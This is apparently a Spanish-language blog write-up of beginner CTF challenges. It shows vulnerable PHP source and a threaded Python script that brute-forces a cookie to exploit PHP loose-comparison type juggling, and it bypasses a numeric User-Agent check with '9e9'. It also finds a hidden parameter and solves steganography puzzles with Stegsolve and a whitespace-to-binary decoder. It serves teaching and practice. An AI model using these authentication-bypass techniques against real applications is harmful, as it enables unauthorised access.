· Manuel López Pérez · writeups · 4 min read
Resolviendo retos de CTF - Parte 1
Write-up de retos sencillos de CTF (web y stego/cripto): type juggling en PHP, condiciones imposibles con is_numeric, parámetros ocultos en source y stego con Stegsolve/hex.

Resolviendo retos de CTF - Parte 1Hoy os traigo la resolución de algunos retos sencillos de CTF - Capture The Flag (en español, Captura la Bandera). Los CTF son una serie de desafíos informáticos enfocados a la seguridad, con los que pondremos a prueba nuestros conocimientos y aprenderemos nuevas técnicas. Desde hace unas semanas formo parte de Ripp3rs y competimos a través de Ctftime.org Vamos a resolver algunos de los retos a los que nos hemos tenido que enfrentar en los últimos CTF.
Web
Teaser CONFidence CTF 2019 - My admin panel
Enunciado
I think I’ve found something interesting, but I’m not really a PHP expert. Do you think it’s exploitable? https://gameserver.zajebistyc.tf/admin/
Resolución Visitamos la url y nos encontramos el código php que utiliza la página.
Nos descargamos el fichero login.php.bak y podremos revisar el código fuente:
<?php include '../func.php'; include '../config.php';
if (!$_COOKIE['otadmin']) { exit("Not authenticated.\\n"); } if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\\n"; exit(); } $session_data = json_decode($_COOKIE['otadmin'], true); if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\\n"; exit(); } if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) { echo("I CAN EVEN GIVE YOU A HINT XD \\n"); for ($i = 0; i < strlen(MD5('xDdddddd')); i++) { echo(ord(MD5($cfg_pass)[$i]) & 0xC0); } exit("\\n"); } display_admin(); ?> Vamos a interceptar la petición con Burp Suite para hacer más sencillo el proceso de obtener la pista (linea 17). Debemos crear una cookie ‘otadmin’ con el formato otadmin={“hash”: “MD5”}
La clave de la pista está en ord(MD5($cfg_pass)[$i]) & 0xC0
0006464640640064000646464640006400640640646400 ord(i) & 0xC0 == 0 → si i es un número ord(i) & 0xC0 == 64 → si i es una letra Así que sabemos que los 3 primeros caracteres del MD5 correcto son números; el fallo del código está en que hace una comparación “loose” (https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf) Así que con adivinar los 3 primeros caracteres del MD5 podremos resolver el reto, vamos a crear un pequeño fichero en python:
#!/usr/bin/env python3
import requests
import threading
import time
import os
def brute(sol):
data = {'otadmin': '{"hash": %s}' % sol}
r = requests.get('http://gameserver.zajebistyc.tf/admin/login.php',
cookies=data)
if '0006464640640064000646464640006400640640646400' not in r.text: print('[+] Solution: ' + str(sol),
flush=True) print(r.text) os._exit(1)
else:
pass
for i in range(99, 999):
thread1 = threading.Thread(target=brute,
args=[i,]) thread1.start() time.sleep(0.05)Lo ejecutamos y obtenemos el flag. 
RADAR CTF 2019 - Puzzle
Enunciado
We love puzzle and we put a small puzzle for you .. If you can’t solve it study some math and come back again -------------------------------------------- Challenge’s URL : http://blackfoxs.org/radar/puzzle
Resolución Visitamos la url:
Revisemos el código fuente de la página:
En las últimas lineas vemos
En el fichero puzzle_code_file.zip obtenemos el código fuente del index.php, podéis revisarlo entero en Puzzle - index.php La parte más importante:
<?php $puzzle = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($puzzle)){ if (strlen($puzzle) < 4){ if ($puzzle > 10000){ Como veis debemos tener un User-agent numérico mayor que 10000 con menos de 4 caracteres. Tras darle unas vueltas, una solución es: 9e9 Usando un script de python:
#!/usr/bin/env python import requests import re
url = 'http://blackfoxs.org/radar/puzzle/'
headers = { 'User-Agent': '9e9', }
r = requests.get(url, headers=headers) m = re.search('id="desc">(.+?)</h2>', r.text) if m: found = m.group(1) print found![]()
RADAR CTF 2019 - Easy Web
Enunciado
It’s easy -------------------------------------------- Challenge’s URL : http://blackfoxs.org/radar/easyweb
Resolución En el código fuente de http://blackfoxs.org/radar/easyweb vemos: . Tras varias pruebas obtenemos el flag en http://blackfoxs.org/radar/easyweb/index.php?secretword=radar 
Criptografía y esteganografía
RADAR CTF 2019 - Black
Enunciado
Just a black photo ..
Fichero: black.jpg Resolución Podemos solucionar este reto fácilmente usando Stegsolve 
RADAR CTF 2019 - Blanks
Enunciado
Maybe it’s not blank
Fichero: flag.txt Resolución Parece un fichero de text vacio, pero si lo abrimos con un visor hexadecimal vemos:
Vamos a convertirlo a unos y ceros, donde hay un 09 ponemos 0 y donde hay un 20 ponemos un 1. Usemos un script de python:
#!/usr/bin/env python import binascii import codecs
def decode_binary_string(s): return ''.join(chr(int(s[i*8:i*8+8],2)) for i in range(len(s)//8))
f = open('flag.txt', 'rb') hex_flag = f.read().encode('hex') binary = hex_flag.replace('09', '0').replace('20', '1')
print decode_binary_string(binary) + '}' # radar{blanks_but_not_blankz}![]()

